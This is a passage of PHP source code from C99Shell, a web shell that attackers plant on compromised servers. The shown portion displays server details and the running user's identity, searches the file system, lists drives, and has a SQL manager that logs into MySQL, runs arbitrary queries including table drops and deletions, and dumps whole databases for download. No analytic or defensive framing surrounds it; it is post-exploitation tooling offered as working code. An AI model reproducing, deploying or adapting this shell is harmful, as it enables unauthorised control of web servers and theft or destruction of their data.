  683. }
  684. }
  685. if (!function_exists("mysql_query_parse"))
  686. {
  687. function mysql_query_parse($query)
  688. {
  689.  $query = trim($query);
  690.  $arr = explode (" ",$query);
  691.  /*array array()
  692.  {
  693.   "METHOD"=>array(output_type),
  694.   "METHOD1"...
  695.   ...
  696.  }
  697.  if output_type == 0, no output,
  698.  if output_type == 1, no output if no error
  699.  if output_type == 2, output without control-buttons
  700.  if output_type == 3, output with control-buttons
  701.  */
  702.  $types = array(
  703.   "SELECT"=>array(3,1),
  704.   "SHOW"=>array(2,1),
  705.   "DELETE"=>array(1),
  706.   "DROP"=>array(1)
  707.  );
  708.  $result = array();
  709.  $op = strtoupper($arr[0]);
  710.  if (is_array($types[$op]))
  711.  {
  712.   $result["propertions"] = $types[$op];
  713.   $result["query"]  = $query;
  714.   if ($types[$op] == 2)
  715.   {
  716.    foreach($arr as $k=>$v)
  717.    {
  718.     if (strtoupper($v) == "LIMIT")
  719.     {
  720.      $result["limit"] = $arr[$k+1];
  721.      $result["limit"] = explode(",",$result["limit"]);
  722.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  723.      unset($arr[$k],$arr[$k+1]);
  724.     }
  725.    }
  726.   }
  727.  }
  728.  else {return false;}
  729. }
  730. }
  731. if (!function_exists("c99fsearch"))
  732. {
  733. function c99fsearch($d)
  734. {
  735.  global $found;
  736.  global $found_d;
  737.  global $found_f;
  738.  global $search_i_f;
  739.  global $search_i_d;
  740.  global $a;
  741.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  742.  $h = opendir($d);
  743.  while (($f = readdir($h)) !== false)
  744.  {
  745.   if($f != "." && $f != "..")
  746.   {
  747.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
  748.    if (is_dir($d.$f))
  749.    {
  750.     $search_i_d++;
  751.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  752.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  753.    }
  754.    else
  755.    {
  756.     $search_i_f++;
  757.     if ($bool)
  758.     {
  759.      if (!empty($a["text"]))
  760.      {
  761.       $r = @file_get_contents($d.$f);
  762.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  763.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  764.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  765.       else {$bool = strpos(" ".$r,$a["text"],1);}
  766.       if ($a["text_not"]) {$bool = !$bool;}
  767.       if ($bool) {$found[] = $d.$f; $found_f++;}
  768.      }
  769.      else {$found[] = $d.$f; $found_f++;}
  770.     }
  771.    }
  772.   }
  773.  }
  774.  closedir($h);
  775. }
  776. }
  777. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  778. //Sending headers
  779. @ob_start();
  780. @ob_implicit_flush(0);
  781. function onphpshutdown()
  782. {
  783.  global $gzipencode,$ft;
  784.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  785.  {
  786.   $v = @ob_get_contents();
  787.   @ob_end_clean();
  788.   @ob_start("ob_gzHandler");
  789.   echo $v;
  790.   @ob_end_flush();
  791.  }
  792. }
  793. function c99shexit()
  794. {
  795.  onphpshutdown();
  796.  exit;
  797. }
  798. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  799. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  800. header("Cache-Control: no-store, no-cache, must-revalidate");
  801. header("Cache-Control: post-check=0, pre-check=0", false);
  802. header("Pragma: no-cache");
  803. if (empty($tmpdir))
  804. {
  805.  $tmpdir = ini_get("upload_tmp_dir");
  806.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  807. }
  808. $tmpdir = realpath($tmpdir);
  809. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  810. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  811. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  812. else {$tmpdir_logs = realpath($tmpdir_logs);}
  813. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  814. {
  815.  $safemode = true;
  816.  $hsafemode = "<font color=red>ON (secure)</font>";
  817. }
  818. else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  819. $v = @ini_get("open_basedir");
  820. if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";}
  821. else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  822. $sort = htmlspecialchars($sort);
  823. if (empty($sort)) {$sort = $sort_default;}
  824. $sort[1] = strtolower($sort[1]);
  825. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  826. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  827. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  828. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  829. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  830. @ini_set("highlight.default",$highlight_default); //#0000BB
  831. @ini_set("highlight.html",$highlight_html); //#000000
  832. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  833. @ini_set("highlight.string",$highlight_string); //#DD0000
  834. if (!is_array($actbox)) {$actbox = array();}
  835. $dspact = $act = htmlspecialchars($act);
  836. $disp_fullpath = $ls_arr = $notls = null;
  837. $ud = urlencode($d);
  838. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  839. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  840. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  841. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  842. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  843. $d = str_replace("\\\\","\\",$d);
  844. $dispd = htmlspecialchars($d);
  845. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  846. $i = 0;
  847. foreach($pd as $b)
  848. {
  849.  $t = "";
  850.  $j = 0;
  851.  foreach ($e as $r)
  852.  {
  853.   $t.= $r.DIRECTORY_SEPARATOR;
  854.   if ($j == $i) {break;}
  855.   $j++;
  856.  }
  857.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  858.  $i++;
  859. }
  860. echo "&nbsp;&nbsp;&nbsp;";
  861. if (is_writable($d))
  862. {
  863.  $wd = true;
  864.  $wdt = "<font color=green>[ ok ]</font>";
  865.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  866. }
  867. else
  868. {
  869.  $wd = false;
  870.  $wdt = "<font color=red>[ Read-Only ]</font>";
  871.  echo "<b>".view_perms_color($d)."</b>";
  872. }
  873. if (is_callable("disk_free_space"))
  874. {
  875.  $free = disk_free_space($d);
  876.  $total = disk_total_space($d);
  877.  if ($free === false) {$free = 0;}
  878.  if ($total === false) {$total = 0;}
  879.  if ($free < 0) {$free = 0;}
  880.  if ($total < 0) {$total = 0;}
  881.  $used = $total-$free;
  882.  $free_percent = round(100/($total/$free),2);
  883.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  884. }
  885. echo "<br>";
  886. $letters = "";
  887. if ($win)
  888. {
  889.  $v = explode("\\",$d);
  890.  $v = $v[0];
  891.  foreach (range("a","z") as $letter)
  892.  {
  893.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  894.   if (!$bool) {$bool = is_dir($letter.":\\");}
  895.   if ($bool)
  896.   {
  897.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  898.    if ($letter.":" != $v) {$letters .= $letter;}
  899.    else {$letters .= "<font color=green>".$letter."</font>";}
  900.    $letters .= " ]</a> ";
  901.   }
  902.  }
  903.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  904. }
  905. if (count($quicklaunch) > 0)
  906. {
  907.  foreach($quicklaunch as $item)
  908.  {
  909.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  910.   $item[1] = str_replace("%sort",$sort,$item[1]);
  911.   $v = realpath($d."..");
  912.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  913.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  914.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  915.  }
  916. }
  917. echo "</p></td></tr></table><br>";
  918. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  919. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  920. if ($act == "") {$act = $dspact = "ls";}
  921. if ($act == "sql")
  922. {
  923.  $sql_surl = $surl."act=sql";
  924.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  925.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  926.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  927.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  928.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  929.  $sql_surl .= "&";
  930.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  931.  if ($sql_server)
  932.  {
  933.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  934.   $err = mysql_smarterror();
  935.   @mysql_select_db($sql_db,$sql_sock);
  936.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  937.  }
  938.  else {$sql_sock = false;}
  939.  echo "<b>SQL Manager:</b><br>";
  940.  if (!$sql_sock)
  941.  {
  942.   if (!$sql_server) {echo "NO CONNECTION";}
  943.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  944.  }
  945.  else
  946.  {
  947.   $sqlquicklaunch = array();
  948.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  949.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  950.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  951.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  952.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  953.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  954.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  955.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  956.   echo "</center>";
  957.  }
  958.  echo "</td></tr><tr>";
  959.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  960.  else
  961.  {
  962.   //Start left panel
  963.   if (!empty($sql_db))
  964.   {
  965.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  966.    $result = mysql_list_tables($sql_db);
  967.    if (!$result) {echo mysql_smarterror();}
  968.    else
  969.    {
  970.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  971.     $c = 0;
  972.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  973.     if (!$c) {echo "No tables found in database.";}
  974.    }
  975.   }
  976.   else
  977.   {
  978.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  979.    $result = mysql_list_dbs($sql_sock);
  980.    if (!$result) {echo mysql_smarterror();}
  981.    else
  982.    {
  983.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  984.     $c = 0;
  985.     $dbs = "";
  986.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  987.     echo "<option value=\"\">Databases (".$c.")</option>";
  988.     echo $dbs;
  989.    }
  990.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  991.   }
  992.   //End left panel
  993.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  994.   //Start center panel
  995.   $diplay = true;
  996.   if ($sql_db)
  997.   {
  998.    if (!is_numeric($c)) {$c = 0;}
  999.    if ($c == 0) {$c = "no";}
  1000.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1001.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1002.    echo "</b></center>";
  1003.    $acts = array("","dump");
  1004.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1005.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1006.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1007.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1008.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1009.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1010.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1011.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1012.    elseif ($sql_tbl_act == "insert")
  1013.    {
  1014.     if ($sql_tbl_insert_radio == 1)
  1015.     {
  1016.      $keys = "";
  1017.      $akeys = array_keys($sql_tbl_insert);
  1018.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1019.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1020.      $values = "";
  1021.      $i = 0;
  1022.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1023.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1024.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1025.      $sql_act = "query";
  1026.      $sql_tbl_act = "browse";
  1027.     }
  1028.     elseif ($sql_tbl_insert_radio == 2)
  1029.     {
  1030.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1031.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1032.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1033.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1034.      $sql_act = "query";
  1035.      $sql_tbl_act = "browse";
  1036.     }
  1037.    }
  1038.    if ($sql_act == "query")
  1039.    {
  1040.     echo "<hr size=\"1\" noshade>";
  1041.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1042.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1043.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1044.    }
  1045.    if (in_array($sql_act,$acts))
  1046.    {
  1047.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1048.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1049.     if ($sql_act == "newtbl")
  1050.     {
  1051.      echo "<b>";
  1052.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1053.     }
  1054.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1055.    }
  1056.    elseif ($sql_act == "dump")
  1057.    {
  1058.     if (empty($submit))
  1059.     {
  1060.      $diplay = false;
  1061.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1062.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1063.      $v = join (";",$dmptbls);
  1064.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1065.      if ($dump_file) {$tmp = $dump_file;}
  1066.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1067.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1068.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1069.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1070.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1071.      echo "</form>";
  1072.     }
  1073.     else
  1074.     {
  1075.      $diplay = true;
  1076.      $set = array();
  1077.      $set["sock"] = $sql_sock;
  1078.      $set["db"] = $sql_db;
  1079.      $dump_out = "download";
  1080.      $set["print"] = 0;
  1081.      $set["nl2br"] = 0;
  1082.      $set[""] = 0;
  1083.      $set["file"] = $dump_file;
  1084.      $set["add_drop"] = true;
  1085.      $set["onlytabs"] = array();
  1086.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1087.      $ret = mysql_dump($set);
  1088.      if ($sql_dump_download)
  1089.      {
  1090.       @ob_clean();
  1091.       header("Content-type: application/octet-stream");
